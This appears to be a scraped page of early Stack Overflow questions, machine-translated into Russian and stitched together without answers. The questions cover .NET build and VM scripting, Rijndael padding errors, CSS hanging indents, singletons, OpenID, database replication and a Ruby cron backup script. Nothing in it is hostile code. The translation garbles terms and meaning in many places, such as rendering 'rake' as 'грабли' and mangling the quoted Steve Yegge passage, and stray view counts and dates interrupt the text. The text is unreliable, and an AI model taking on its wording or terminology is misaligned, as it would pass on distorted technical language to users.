Увы, то, что я описал, является упрощенным: есть только два типа вещей (проблемы и решения). На самом деле у меня есть около 9 или 10 различных типов вещей, поэтому у меня будет 9 или 10 столбцов внешних ключей под вашей стратегией. Я хотел использовать наследование одной таблицы, но эти вещи имеют так мало общего, что было бы крайне расточительно объединять их в одну таблицу.
Как я могу создавать виртуальные машины в рамках процесса сборки с использованием MSBuild и MS Virtual Server и/или Hyper-V Server Virtualization?
То, что я хотел бы сделать, - это создать чистый образ виртуальной машины в качестве вывода сборки приложения.
Таким образом, будет создана новая виртуальная машина (с шаблоном все в порядке, с установленным OS и некоторым базовым программным обеспечением) --- новый веб-сайт будет создан в IIS, а вывод сборки веб-приложения будет скопирован в расположение на жестком диске виртуальной машины, и IIS настроен правильно, VM запустится и запустится.
Я знаю, что есть задачи MSBuild для сценария всех административных действий в IIS, но как вы пишете все действия с виртуальными машинами? В частности, создание новой виртуальной машины из шаблона, ее уникальное имя, запуск, настройка и т. д...
В частности, мне было интересно, успешно ли кто-либо реализовал любой сценарий VM как часть процесса сборки.
Обновление: я предполагаю, что с Hyper-V существует другой набор библиотек / APIs для создания сценариев виртуальных машин, кто-нибудь играл с этим? И кто-нибудь с реальным практическим опытом делает что-то подобное?
В Visual Studio вы должны быть членом группы "пользователи" отладка или администраторов, чтобы начать отладку. А что, если вы есть, но это не работает?
На моей машине Windows XP Visual Studio 2003 2005 и 2008 Все жалуются, что я не могу начать отладку своего веб-приложения , потому что я должен быть членом группы отладочных пользователей или группы администраторов. Итак, я администратор, и я добавил пользователей отладки на всякий случай, и он все еще жалуется.
Если не считать переформатирования моей машины и запуска заново, кто-нибудь сталкивался с этим и исправлял его [с помощью какой-то недокументированной команды]?
лучший способ сохранения данных в веб-службе .NET
У меня есть веб-служба, которая запрашивает данные из этого файла json, но я не хочу, чтобы веб-служба каждый раз обращалась к этому файлу. Я думаю, что, возможно, я могу хранить данные где-то еще (возможно, в памяти), чтобы веб-служба могла просто получить данные оттуда в следующий раз, когда она попытается запросить те же самые данные. Я вроде бы понимаю, что нужно сделать, но я просто не знаю, как это сделать на самом деле. Как мы сохраняем данные в веб-сервисе?
Обновление: оба предложения, кэширование и использование статических переменных, выглядят хорошо. Может быть, мне стоит использовать оба варианта, чтобы сначала посмотреть на один, а если его там нет, то использовать второй, если его там тоже нет, тогда я посмотрю на файл json.
Почему плохой пароль вызывает "заполнение недопустимо и не может быть удалено"?
Мне нужно было какое-то простое строковое шифрование, поэтому я написал следующий код (с большим количеством "inspiration" отсюда ):
// create and initialize a crypto algorithm
private static SymmetricAlgorithm getAlgorithm(string password) {
SymmetricAlgorithm algorithm = Rijndael.Create();
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes(
password, new byte[] {
0x53,0x6f,0x64,0x69,0x75,0x6d,0x20, // salty goodness
0x43,0x68,0x6c,0x6f,0x72,0x69,0x64,0x65
}
);
algorithm.Padding = PaddingMode.ISO10126;
algorithm.Key = rdb.GetBytes(32);
algorithm.IV = rdb.GetBytes(16);
return algorithm;
}
/*
* encryptString
* provides simple encryption of a string, with a given password
*/
public static string encryptString(string clearText, string password) {
SymmetricAlgorithm algorithm = getAlgorithm(password);
byte[] clearBytes = System.Text.Encoding.Unicode.GetBytes(clearText);
MemoryStream ms = new MemoryStream();
CryptoStream cs = new CryptoStream(ms, algorithm.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(clearBytes, 0, clearBytes.Length);
cs.Close();
return Convert.ToBase64String(ms.ToArray());
}
/*
* decryptString
* provides simple decryption of a string, with a given password
*/
public static string decryptString(string cipherText, string password) {
SymmetricAlgorithm algorithm = getAlgorithm(password);
byte[] cipherBytes = Convert.FromBase64String(cipherText);
MemoryStream ms = new MemoryStream();
CryptoStream cs = new CryptoStream(ms, algorithm.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(cipherBytes, 0, cipherBytes.Length);
cs.Close();
return System.Text.Encoding.Unicode.GetString(ms.ToArray());
}
Код, похоже, работает нормально, за исключением того, что при расшифровке данных с неверным ключом я получаю CryptographicException - "Padding is invalid and cannot be removed" - на строке cs.Close() в decryptString.
пример кода:
string password1 = "password";
string password2 = "letmein";
string startClearText = "The quick brown fox jumps over the lazy dog";
string cipherText = encryptString(startClearText, password1);
string endClearText = decryptString(cipherText, password2); // exception thrown
Мой вопрос в том, можно ли этого ожидать? Я бы подумал, что расшифровка с неверным паролем просто приведет к бессмысленному выходу, а не к исключению.
Как создать полностью совместимый с браузером висячий стиль отступа в CSS в промежутке
Единственное, что я нашел, было:;
.hang {
text-indent: -3em;
margin-left: 3em;
}
Единственный способ для этого-поместить текст в абзац, который вызывает эти ужасно неприглядные дополнительные строки. Я бы предпочел просто иметь их в <span class="hang"></span> -м типе вещей.
Я также ищу способ дальнейшего отступа, чем просто одноуровневое подвешивание. Использование абзацев для укладки отступов не работает.
Синглтоны: хороший дизайн или костыль?
Синглеты-это горячо обсуждаемый шаблон дизайна,поэтому мне интересно, что о них думает сообщество Stack Overflow.
Пожалуйста, укажите причины для вашего мнения, а не только "Singletons are for lazy programmers!"
Вот довольно хорошая статья по этому вопросу, хотя она и против использования Синглетов: scientificninja.com: производительность-синглтоны .
Есть ли у кого-нибудь еще хорошие статьи о них? Может быть, в поддержку Синглетов?
Что вы используете в качестве хорошей альтернативы командной системе?
Я хотел бы оценить, какие решения используют другие люди, чтобы получить функциональность командной системы. Мы все знаем, что командная система может быть дорогой для некоторых из нас. Я знаю, что они предлагают небольшую версию team edition с пятью лицензиями и подпиской MSDN, но что делать, если ваша команда больше пяти или вы не хотите использовать Team System?
sn.exe сбой с сообщением об ошибке отказано в доступе
Я получаю сообщение об ошибке Access is Denied, когда использую инструмент strong name для создания нового ключа для подписи .NET assembly. Это прекрасно работает на машине Windows XP, но не работает на моей машине Vista.
PS C:\users\brian\Dev\Projects\BELib\BELib> sn -k keypair.snk
Microsoft (R) .NET Framework Strong Name Utility Version 3.5.21022.8
Copyright (c) Microsoft Corporation. All rights reserved.
Failed to generate a strong name key pair -- Access is denied.
Что вызывает эту проблему и как ее можно исправить?
Вы запускаете свой PowerShell или Командная строка как администратор? Я оказалось, что это первое место, чтобы смотрите пока не привыкнете к пользовательскому доступу Управление или путем поворота доступа пользователя Управление выключено.
Да, я пробовал запускать PS и обычную командную строку от имени администратора. Появляется то же самое сообщение об ошибке.
OpenID обмен атрибутами-должен ли я его использовать?
Мой сайт будет использовать только OpenID для аутентификации. Я хотел бы вытащить сведения о пользователе через обмен атрибутами, но обмен атрибутами, похоже, вызвал много горя для StackOverflow.
Каково текущее состояние дел в отрасли? Делает ли любой провайдер OpenID достойную работу по обмену атрибутами?
Должен ли я просто держаться подальше от OpenID attribute exchange вообще?
Как я могу справиться с несогласованной поддержкой функциональности?
Как вы регистрируете ошибки (исключения) в ваших приложениях ASP.NET?
Я ищу лучший способ регистрации ошибок в приложении ASP.NET. Я хочу иметь возможность получать электронные письма, когда в моем приложении возникают ошибки, с подробной информацией об исключении и текущем запросе.
В моей компании мы привыкли иметь свой собственный ErrorMailer, ловя все в Global.asax Application_Error. Он был "Ok", но не очень гибким и настраиваемым.
Мы недавно переключились на NLog. Это гораздо более настраиваемо, мы можем определить различные цели для ошибок, фильтровать их, буферизировать их (еще не пробовали). Это очень хорошее улучшение.
Но недавно я обнаружил, что для этой цели в фреймворке .Net есть целое пространство имен : System.Web.Management , и его можно настроить в разделе healthMonitoring web.config.
Вы когда-нибудь работали с мониторингом здоровья .Net? Каково ваше решение для регистрации ошибок?
Оплатить vmware или использовать открытые исходники?
Что следует использовать для виртуализации рабочего стола, vmx, xen или vmware?
Должен работать на хосте linux или windows, извините virtual pc.
@Derek парк: бесплатно, как в речи, а не пиво. Я хочу иметь возможность сделать новую виртуальную машину из моих собственных лицензионных копий windows, потому что vmware-это довольно дорого.
Обработка часовых поясов в хранилище?
Хранить все в GMT?
Хранить все так, как оно было введено со встроенным смещением?
Делайте математику каждый раз, когда вы оказываете?
Отображение относительного времени "1 минут назад"?
Почему sqlite3-ruby-1.2.2 не работает на OS X?
Я бегу
- OS X 10.5,
- Ruby 1.8.6,
- Rails 2.1,
- sqlite3-ruby 1.2.2
и я получаю следующую ошибку при попытке сгрести db:migrate на приложение, которое работает найти подключен к MySQL.
грабли прервана! нет такого файла для загрузки -- sqlite3 / database
Как вы делаете системную интеграцию?
Мне интересно, как разные люди решают интеграцию систем. У меня есть ощущение, что в последние годы все больше и больше работы ушло на интеграцию систем и что потребность в такого рода работе также будет возрастать.
Мне интересно, решаете ли вы ее, разрабатывая свои собственные небольшие сервисы, которые затем подключаются, или используете какой-то продукт (WebSphere, BizTalk, мул и т. д.). Я также думаю, что было бы интересно узнать, как такие решения управляются и поддерживаются (как вы решаете проблемы безопасности, инструментирования и т. д.), Какие проблемы вы испытывали с вашим решением и так далее.
Трубопроводы пароль с помощью smbpasswd
Как я могу передать новый пароль в smbpasswd, чтобы автоматизировать процесс установки.
Вызов базового конструктора в C#
Если я наследую от базового класса и хочу передать что-то из конструктора унаследованного класса конструктору базового класса, как это сделать?
Например,
Если я унаследовал от класса исключений я хочу сделать что-то вроде этого:
class MyExceptionClass : Exception
{
public MyExceptionClass(string message, string extraInfo)
{
//This is where it's all falling apart
base(message);
}
}
В основном я хочу иметь возможность передать строковое сообщение в базовый класс исключений.
Стоит ли мне беспокоиться о том, что мой код .NET будет запутан?
Я уверен, что многие читатели на SO использовали отражатель .NET Лутца Редера для декомпиляции своего кода .NET. Я был поражен тем, насколько точно наш исходный код может быть восстановлен из наших скомпилированных сборок.
Мне было бы интересно узнать, сколько из вас используют обфускацию и для каких продуктов?
Я уверен, что это гораздо более важный вопрос для, скажем, приложения .NET, которое вы предлагаете для загрузки через интернет, в отличие от того, что построено специально для конкретного клиента.
Вы запутали свой коммерческий код Java?
Интересно, использует ли кто-нибудь коммерческие/бесплатные java обфускаторы на своем собственном коммерческом продукте. Я знаю только об одном проекте, который на самом деле имел запутывающий шаг в шаге сборки ant для релизов.
Вы что-то путаете? И если это так, то почему вы все путаете?
Действительно ли это способ защитить код или это просто лучшее чувство для developers/managers?
edit: хорошо, я буду точен в своей точке зрения: вы запутываете, чтобы защитить свой IP (ваши алгоритмы, работу, которую вы вложили в свой продукт)? Я не буду запутывать по соображениям безопасности, это не кажется правильным. Поэтому я говорю только о защите вашего кода приложений от конкурентов.
@staffan имеет хороший смысл:
Причина, по которой следует держаться подальше от цепного потока кода, заключается в том, что некоторые из этих изменений делают невозможной эффективную оптимизацию кода для JVM. Фактически это приведет к снижению производительности вашего приложения.
Настройка VisualSVN сервера для использования _svn вместо .svn
У нас была проблема с нашим сервером сборки, не проверяющим изменения из системы управления версиями, несмотря на признание того, что там были изменения.
Он был прослежен до контрольной папки (не уверен, что это настоящее имя), существующие рабочие сборки использовали _svn. Очистка рабочей папки вынудила новую полную проверку, и я заметил, что теперь Контрольная папка находится .svn. Похоже, что первоначально наши процедуры интеграции проверяли код с помощью _svn, но теперь он используется .svn.
svn.exe используется во время интеграции с VisualSVN сервера можно ли настроить это для повторного использования _svn?
Как оригинальные рабочие копии использовали _svn, я не знаю! - мы только когда-либо использовали сервер VisualSVN и не меняли его.
Мы настроили TortoiseSVN для использования _svn, следуя рекомендации, что это лучше работает для Visual Studio, а также установили TortoiseSVN на сервере сборки, если он когда-нибудь понадобится. Может ли это быть причиной?
И действительно ли это необходимо? Поскольку MSBuild является Microsoft, рекомендуется ли это, как и для Visual Studio?
FileNotFoundException для mscorlib.XmlSerializers.DLL, который не существует
Я использую XmlSerializer для десериализации определенного типа в mscorelib.dll
XmlSerializer ser = new XmlSerializer( typeof( [.Net type in System] ) );
return ([.Net type in System]) ser.Deserialize( new StringReader( xmlValue ) );
Это выбрасывает пойманный FileNotFoundException , когда загружается assembly:
"Не удалось загрузить файл или assembly 'mscorlib.XmlSerializers, Версия=2.0.0.0, культура=нейтральная, PublicKeyToken=b77a5c561934e089' или одна из его зависимостей. Система не удается найти указанный файл."
FusionLog:
=== Pre-bind state information ===
LOG: User = ###
LOG: DisplayName = mscorlib.XmlSerializers, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=x86
(Fully-specified)
LOG: Appbase = file:///C:/localdir
LOG: Initial PrivatePath = NULL
Calling assembly : System.Xml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089.
===
LOG: This bind starts in default load context.
LOG: Using application configuration file: C:\localdir\bin\Debug\appname.vshost.exe.Config
LOG: Using machine configuration file from c:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\config\machine.config.
LOG: Post-policy reference: mscorlib.XmlSerializers, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=x86
LOG: Attempting download of new URL file:///C:/localdir/bin/Debug/mscorlib.XmlSerializers.DLL.
LOG: Attempting download of new URL file:///C:/localdir/bin/Debug/mscorlib.XmlSerializers/mscorlib.XmlSerializers.DLL.
LOG: Attempting download of new URL file:///C:/localdir/bin/Debug/mscorlib.XmlSerializers.EXE.
LOG: Attempting download of new URL file:///C:/localdir/bin/Debug/mscorlib.XmlSerializers/mscorlib.XmlSerializers.EXE.
Насколько я знаю, нет mscorlib.XmlSerializers.DLL, я думаю, что имя DLL было автоматически сгенерировано .Net, ищущим сериализатор.
У вас есть возможность создать myApplication.XmlSerializers.DLL при компиляции для оптимизации сериализации, поэтому я предполагаю, что это часть проверки фреймворка.
Проблема в том, что это, по - видимому, вызывает задержку в загрузке приложения-кажется, что оно зависает на несколько секунд в этот момент.
Есть идеи, как этого избежать или ускорить?
Какая самая страшная авария с базой данных произошла с вами на производстве?
Например: обновление всех строк таблицы customer, поскольку вы забыли добавить предложение where.
- На что это было похоже, осознавая это и сообщая об этом своим коллегам или клиентам?
- Какие уроки были извлечены?
Файл конфигурации приложения
Итак, я не хочу начинать здесь священную войну, но мы находимся в процессе консолидации того, как мы обрабатываем файлы конфигурации наших приложений, и мы изо всех сил пытаемся принять решение о наилучшем подходе. На данный момент каждое приложение, которое мы распространяем, использует свои собственные специальные конфигурационные файлы, будь то файлы свойств (ini style), XML или JSON (внутреннее использование только в данный момент!).
Большая часть нашего кода на данный момент является Java, поэтому мы смотрели на Apache Commons Config , но мы обнаружили, что он довольно многословен. Мы также посмотрели на XMLBeans,но похоже, что это очень много обмана. Я также чувствую, что меня подталкивают к формату XML, но мои клиенты и коллеги опасаются попробовать что-то другое. Я могу понять это с точки зрения клиента, все слышали о XML, но в конце концов, не следует ли использовать правильный инструмент для работы?
Какие форматы и библиотеки люди используют в производственных системах в наши дни, пытается ли кто-нибудь еще избежать налога на угловые скобки ?
Edit: действительно должно быть кроссплатформенное решение: Linux, Windows, Solaris и т. д. и выбор библиотеки, используемой для взаимодействия с конфигурационными файлами, так же важен, как и выбор формата.
SVN редакция версии в .NET Assembly w/ из CC.NET
Есть ли какой-либо способ включить номер редакции репозитория SVN в строку версии A .NET assembly? Что-то вроде Major.Minor.SVNRev
Я видел упоминание о том, чтобы сделать это с чем-то вроде CC.NET (хотя на самом деле на ASP.NET), но есть ли способ сделать это без дополнительного программного обеспечения? Я делал подобные вещи в C/C++ перед использованием пакетных сценариев сборки, но это было сделано путем чтения номера версии, а затем сценарий выписывал файл под названием " ver.h " каждый раз с чем-то вроде:
#define MAJORVER 4
#define MINORVER 23
#define SOURCEVER 965
Затем мы будем использовать эти определения для создания строки версии.
Возможно ли что-то подобное?NET?
Проблема привязки данных ASP.Net AJAX toolkit MaskedEditExtender
У меня есть база данных, которая содержит дату, и мы используем MaskedEditExtender (MEE) и MaskedEditValidator, чтобы убедиться, что даты подходят. Тем не менее, мы хотим, чтобы администраторы могли войти и изменить данные (в частности, дату), если это необходимо.
Как я могу предварительно заполнить поле MEE значением базы данных, когда данные отображаются на странице? Я попытался использовать 'bind' в свойстве 'InitialValue', но он не заполняет textbox.
Спасибо.
Учитывая N2 CMS, но беспокоился о производительности. Оправдано ли это?
Hy, кто-нибудь работал с системой управления контентом N2( http://www.codeplex.com/n2 ). Если да, то как он работает, производительность мудрая(при большой нагрузке)? Это кажется довольно простым и легким в использовании.
Адриан
446   5   11:04, 24th August, 2020
Можно ли сериализовать объект типа C#?
Я пытаюсь сериализовать объект типа следующим образом:
Type myType = typeof (StringBuilder);
var serializer = new XmlSerializer(typeof(Type));
TextWriter writer = new StringWriter();
serializer.Serialize(writer, myType);
Когда я делаю это, вызов сериализации вызывает следующее исключение:
"Тип System.Text.StringBuilder не ожидался. Используйте XmlInclude или SoapInclude атрибут для указания типов, которые не являются известно статически."
Есть ли способ для меня сериализовать объект Type ? Обратите внимание, что я не пытаюсь сериализовать сам StringBuilder , а объект Type , содержащий метаданные о классе StringBuilder .
Решение для репликации сеансов FOSS ASP.Net?
Я искал (с небольшим успехом) свободное/открытое решение для кластеризации сеансов и репликации для asp.net. Я столкнулся с обычными подозреваемыми (indexus sharedcache, memcached), однако у каждого из них есть некоторые ограничения.
- Indexus - очень незрелая, заглушенная реализация интерфейса сеанса. Однако в остальном это отличное решение для кэширования.
- Memcached -небольшая поддержка репликации/failover без перехода на серверную часть БД. Несколько проектов SF.Net-все прерваны на ранних стадиях... ничего такого, что, по-видимому, имеет какую-то тягу, и тот, который, по-видимому, стал полностью коммерческим.
- Microsoft Velocity -не OSS, но вроде неплохо. К сожалению, я не видел, где CTP1 поддерживает failover,и нет четкой дорожной карты для этого. Я боюсь,что этот может упасть в эфир, как и многие другие проекты MS dev.
Я достаточно привык к миру Java, где считается само собой разумеющимся, что многие решения подобных проблем будут доступны из мира FOSS.
Существуют ли какие-либо подходящие альтернативы в мире .Net?
536   4   15:11, 2nd August, 2020
Автоматизировать добавление записей в wiki
Как только у меня есть переименованные файлы, мне нужно добавить их на страницу project wiki. Это довольно повторяющаяся ручная задача, поэтому я думаю, что могу написать ее, но я не знаю, с чего начать.
Процесс такой:
Got to appropriate page on the wiki
for each team member (DeveloperA, DeveloperB, DeveloperC)
{
for each of two files ('*_current.jpg', '*_lastweek.jpg')
{
Select 'Attach' link on page
Select the 'manage' link next to the file to be updated
Click 'Browse' button
Browse to the relevant file (which has the same name as the previous version)
Click 'Upload file' button
}
}
Не обязательно искать полное решение, как я хотел бы дать ему идти сам.
С чего начать? На каком языке я могу это сделать и насколько это будет сложно?
Как вы можете опубликовать приложение ClickOnce через CruiseControl.NET?
У меня есть CruiseControl.NET версия 1.4, настроенная на моем сервере разработки. Всякий раз, когда разработчик проверяет код, он делает компиляцию.
Теперь мы находимся в том месте, где мы можем начать давать наше приложение тестировщикам. Мы хотели бы использовать ClickOnce для распространения приложения, причем идея заключается в том, что когда тестировщик идет тестировать приложение, у него есть последняя сборка.
Я не могу найти способ сделать так, чтобы это произошло с CruiseControl.NET. Мы используем MSBUILD для выполнения сборок.
Как получить список каталогов в C?
Как вы сканируете каталог на наличие папок и файлов в C? Он должен быть кроссплатформенным.
Оценка экспрессии и Хождение по деревьям с использованием полиморфизма? (Ала Стив Егге)
Сегодня утром я читал книгу Стива Йегге "когда полиморфизм терпит неудачу", когда наткнулся на вопрос, который его коллега обычно задавал потенциальным сотрудникам, когда они приходили на собеседование в Amazon.
Как пример полиморфизма в действие, давайте посмотрим на классику "eval" вопрос интервью, который (как насколько я знаю) был доведен до Amazon автор: Рон Браунштейн. Вопрос в том довольно богатый, как ему удается зондируйте большое разнообразие важных навыки: OOP дизайн, рекурсия, двоичный код деревья, полиморфизм и время выполнения набор текста, общие навыки кодирования и (если вы хотите сделать его еще более трудным) теория парсинга.
В какой-то момент кандидат с надеждой осознает, что вы можете представлять собой арифметическое выражение в двоичном виде дерево, предполагая, что вы только используете бинарные операторы, такие как" +", "-", "* " ,"/". Листовые узлы - это все числа, а внутренние узлы являются все операторы. Оценка состояния выражение означает ходить по дереву. Если кандидат этого не понимает, вы можете мягко привести их к этому, или если это необходимо, просто скажи им.
Даже если ты расскажешь им, это все равно будет неприятно. интересная проблема.
Первая половина вопроса, которая некоторые люди (чьи имена я буду называть защищать до последнего вздоха, но их инициалы-Вилли Льюис) feel is a Требования К Работе, Если Вы Хотите Позвонить Вы Сами Разработчик И Работаете На Amazon, на самом деле довольно сложно. То вопрос заключается в следующем: как вы идете от Ан арифметическое выражение (например, в a строку), такие как "2 + (2)" к дерево выражения. У нас может быть ADJ вызов по этому вопросу у некоторых точка.
Вторая половина такова: допустим, это проект из 2 человек и ваш партнер, кого мы будем называть "Willie", это ответственный за преобразование строковое выражение в дереве. Вы получаете самая простая часть: вам нужно решить, что именно классы Вилли должен построить дерево С. Вы можете сделать это в любом случае язык, но убедитесь, что вы выбираете один, или Вилли вручит тебе assembly язык. Если он чувствует себя раздраженным, то это будет для процессора то есть нет дольше производится в производстве.
Вы были бы поражены, узнав, сколько кандидатов БОФФ вот этот.
Я не буду давать вам ответ, но ... Стандартное плохое решение предполагает использование состояния переключателя или случая (или просто доброе старомодное каскадное "если"). Один Немного лучшее решение включает в себя использование таблицы указателей функций, и вероятно лучшее решение предполагает использование полиморфизма. Я рекомендуем вам работать через него иногда. Забавная штука!
Итак, давайте попробуем решить эту проблему всеми тремя способами. Как перейти от арифметического выражения (например, в строке), такого как "2 + (2)", к дереву выражений, используя каскадные if, таблицу указателей функций и / или полиморфизм?
Не стесняйтесь решать один, два или все три вопроса.
[update: заголовок изменен, чтобы лучше соответствовать тому, что было в большинстве ответов.]
Инструменты для автоматизации событий мыши и клавиатуры, отправляемых в приложение windows
Какие инструменты полезны для автоматизации перехода через приложение формы windows? Это вообще полезно? Я вижу, что тестеры в моей компании делают это очень много, и это кажется пустой тратой времени.
Используя каталог XML с Python lxml?
Есть ли способ, когда я анализирую документ XML с помощью lxml, чтобы проверить этот документ против его DTD с помощью внешнего файла каталога? Мне нужно уметь работать с фиксированными атрибутами, определенными в документе DTD.
Можете ли вы проверить, что исключение выбрасывается с doctest в Python?
Можно ли написать модульный тест doctest, который проверит, что возникло исключение?
Например, если у меня есть функция foo(x) , которая должна вызывать исключение if x<0, как бы я написал doctest для этого?
Списки контроля доступа и объекты контроля доступа, хороший учебник?
мы разрабатываем веб-приложение, чтобы охватить все аспекты деятельности полиграфической компании: от финансов до расчета заработной платы и калькуляции стоимости работ. Важно иметь возможность контролировать, кто может получить доступ к каким частям этих приложений. Не хочу, чтобы линейный сотрудник давал себе повышение и т. д...
Я слышал о концепции ACL & ACO, но не нашел хорошего примера, который мы могли бы адаптировать к нашему проекту.
Кто-нибудь знает, где я могу найти хорошую информацию для работы?
IronPython и ASP.NET
Кто-нибудь построил сайт с IronPython и ASP.NET. Каковы были ваши впечатления и готова ли комбинация к прайм-тайму?
Настройка Subversion на Windows в качестве сервиса
При установке subversion в качестве службы я использовал эту команду:
c:\>svnservice -install --daemon --root "c:\documents and settings\my_repository"
И тогда я получил эту ошибку:
Could not create service in service control manager.
После просмотра некоторых документов MSDN в диспетчере управления службами я попытался предоставить полный контроль всем в разрешениях на раздел реестра в HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services, но это не возымело никакого эффекта.
Кто-нибудь знает, что я сделал не так, или как преодолеть это?
Примечание #1: я работаю в качестве администратора на этом поле
*Note #2: я следовал инструкциям, приведенным здесь, поэтому, возможно, мой выбор каталога ошибочен. И мой репозиторий на самом деле не называется "my_repository". Я использовал название фактического проекта, который в настоящее время находится под контролем источника в gasp VSS.*
Присоединение сервера VisualSVN к существующему репозиторию
Все последние сообщения сервера VisualSVN заставили меня захотеть проверить это. У меня есть SVN работает прямо сейчас через Apache, но я хотел бы попробовать VisualSVN сервер, в основном для интеграции Active Directory. Их документы не описывают, можно ли легко перенести существующий репозиторий.
Кто-нибудь делал это раньше?
Кто-Нибудь Использует Исполняемые Требования?
В моем ограниченном опыте работы с ними исполняемые требования (т. е. указание всех требований как сломанных автоматизированных тестов) оказались удивительно успешными. Я работал над одним проектом, в котором мы уделяли большое внимание созданию высокоуровневых автоматизированных тестов, которые использовали всю функциональность данного варианта использования/истории пользователя. Для меня было действительно удивительно, насколько легче становилось развитие после того, как мы начали эту практику. Реализация функций стала намного проще после написания теста, и мы смогли внести серьезные архитектурные изменения в систему со всей уверенностью в том, что все по-прежнему работает так же, как и вчера.
Самая большая проблема, с которой мы столкнулись, заключалась в том, что инструменты для управления этими типами тестов не очень хороши. Мы использовали Fitnesse совсем немного,и в результате я теперь ненавижу рамки Fit.
Я хотел бы знать 1) Есть ли у кого-то еще опыт разработки с использованием этого типа определения требований на основе тестов и 2) Какие инструменты вы все использовали для этого.
Фильтр по коду zip или другим стратегиям поиска данных на основе местоположения
Мой маленький сайт должен объединять список элементов из таблицы, используя местоположение активного пользователя в качестве фильтра. Подумайте Craigslist, где вы ищете "dvd", но результаты не из всех DB, они фильтруются по выбранному вами местоположению. Мой вопрос имеет 2 уровня:
- должен ли я пойти a-la-craigslist и попросить пользователей использовать местоположение на уровне города? Моя проблема с этим заключается в том, что вам нужно создать то, что кажется мне жестко закодированным, сделанным вручную списком местоположений.
- должен ли я пойти a-la-zipCode. Идея просто попросить пользователя ввести его zipcode, а затем объединить все элементы, которые находятся в том же или на определенном расстоянии от его кода zip.
Я, кажется, предпочитаю способ кода zip, поскольку он кажется более элегантным решением, но как на земле можно создать DB из всех кодов zip и реализовать функцию, которая дает код zip 12345, получает все zipcodes на расстоянии 1 мили?
это должно быть довольно распространено "task", поскольку многие сайты имеют потребность, подобную моей, поэтому я надеюсь не изобретать здесь колесо заново.
Каков хороший способ денормализации базы данных mysql?
У меня есть большая база данных нормализованных данных заказа, которые становятся очень медленными для запроса отчетов. Многие из запросов, которые я использую в отчетах, объединяют пять или шесть таблиц и должны исследовать десятки или сотни тысяч строк.
Есть много запросов, и большинство из них были максимально оптимизированы, чтобы уменьшить нагрузку на сервер и увеличить скорость. Я думаю, что пришло время начать хранить копию данных в денормализованном формате.
Есть идеи по поводу подхода? Должен ли я начать с пары моих худших запросов и пойти оттуда?
Репликация базы данных. 2 сервера, главная база данных и 2 - й доступен только для чтения
Допустим, у вас есть 2 сервера баз данных, одна база данных-это база данных 'master', где выполняются все операции записи, она обрабатывается как база данных 'real/original'. База данных другого сервера должна быть зеркальной копией главной базы данных (ведомого?), который будет использоваться только для операций чтения для определенной части приложения.
Как вы собираетесь настроить подчиненную базу данных, которая отражает данные в главной базе данных? Насколько я понимаю, база данных slave/readonly должна использовать файл журнала транзакций master db для правильного отражения данных?
Какие варианты у меня есть с точки зрения того, как часто ведомая база данных отражает данные? (в реальном времени / каждые x минут?).
A ThreadStateException возникает при попытке перезапустить поток
Время от времени я получаю System.Threading.ThreadStateException при попытке перезапустить поток. Рассматриваемый код выглядит следующим образом:
// Make sure the thread is done stopping
while (this.mThread.ThreadState == ThreadState.Running)
{
Thread.Sleep(0);
}
// Respawn a thread if the current one is stopped or doesn't exist
if (this.mThread == null || this.mThread.ThreadState == ThreadState.Stopped)
{
this.mThread = new Thread(new ParameterizedThreadStart(Monitor)); }
// Start the thread
if (check)
{
this.mThread.Start(60000);
}
else
{
this.mThread.Start(0);
}
Итак, два вопроса - Является ли это правильным способом делать вещи, и есть ли способ предотвратить возникновение ошибки?
Как интегрировать систему непрерывной интеграции с системой отслеживания ошибок?
Я использую cruisecontrol.rb для CI и FogBugz для отслеживания ошибок, но чем более общие ответы, тем лучше.
Во-первых, это техническая проблема: есть ли API для FogBugz? Есть ли хорошие учебники, или еще лучше, предварительно написанный код?
Во-вторых, это процедурная проблема: что именно должен CI поместить в трекер ошибок, когда сборка ломается? Возможно:
Название: "#{Последний коммиттер} сломал сборку!"
Тело: "# {следы ошибок }"
Я полагаю, что это предполагает ответ на этот вопрос: Должен ли я даже помещать CI breaks в мое отслеживание ошибок?
512   3   04:45, 4th August, 2020
Почему моя работа Cron не работает должным образом?
У меня есть работа cron на Ubuntu Hardy VPS, которая работает только наполовину, и я не могу понять, почему. Задание представляет собой сценарий Ruby, который использует mysqldump для резервного копирования базы данных MySQL, используемой приложением Rails, которая затем gzipped и загружается на удаленный сервер с помощью SFTP.
Файл gzip создается и копируется успешно, но это всегда нулевые байты. Тем не менее, если я запускаю команду cron непосредственно из командной строки, Она отлично работает.
Это задание cron:
PATH=/usr/bin
10 3 * * * ruby /home/deploy/bin/datadump.rb
Это datadump.rb:
#!/usr/bin/ruby
require 'yaml'
require 'logger'
require 'rubygems'
require 'net/ssh'
require 'net/sftp'
APP = '/home/deploy/apps/myapp/current'
LOGFILE = '/home/deploy/log/data.log'
TIMESTAMP = '%Y%m%d-%H%M'
TABLES = 'table1 table2'
log = Logger.new(LOGFILE, 5, 10 * 1024)
dump = "myapp-#{Time.now.strftime(TIMESTAMP)}.sql.gz"
ftpconfig = YAML::load(open('/home/deploy/apps/myapp/shared/config/sftp.yml'))
config = YAML::load(open(APP + '/config/database.yml'))['production']
cmd = "mysqldump -u #{config['username']} -p#{config['password']} -h #{config['host']} --add-drop-table --add-locks --extended-insert --lock-tables #{config['database']} #{TABLES} | gzip -cf9 > #{dump}"
log.info 'Getting ready to create a backup'
`#{cmd}`
# Strongspace
log.info 'Backup created, starting the transfer to Strongspace'
Net::SSH.start(ftpconfig['strongspace']['host'], ftpconfig['strongspace']['username'], ftpconfig['strongspace']['password']) do |ssh|
ssh.sftp.connect do |sftp|
sftp.open_handle("#{ftpconfig['strongspace']['dir']}/#{dump}", 'w') do |handle|
sftp.write(handle, open("#{dump}").read)
end
end
end
log.info 'Finished transferring backup to Strongspace'
log.info 'Removing local file'
cmd = "rm -f #{dump}"
log.debug "Executing: #{cmd}"
`#{cmd}`
log.info 'Local file removed'
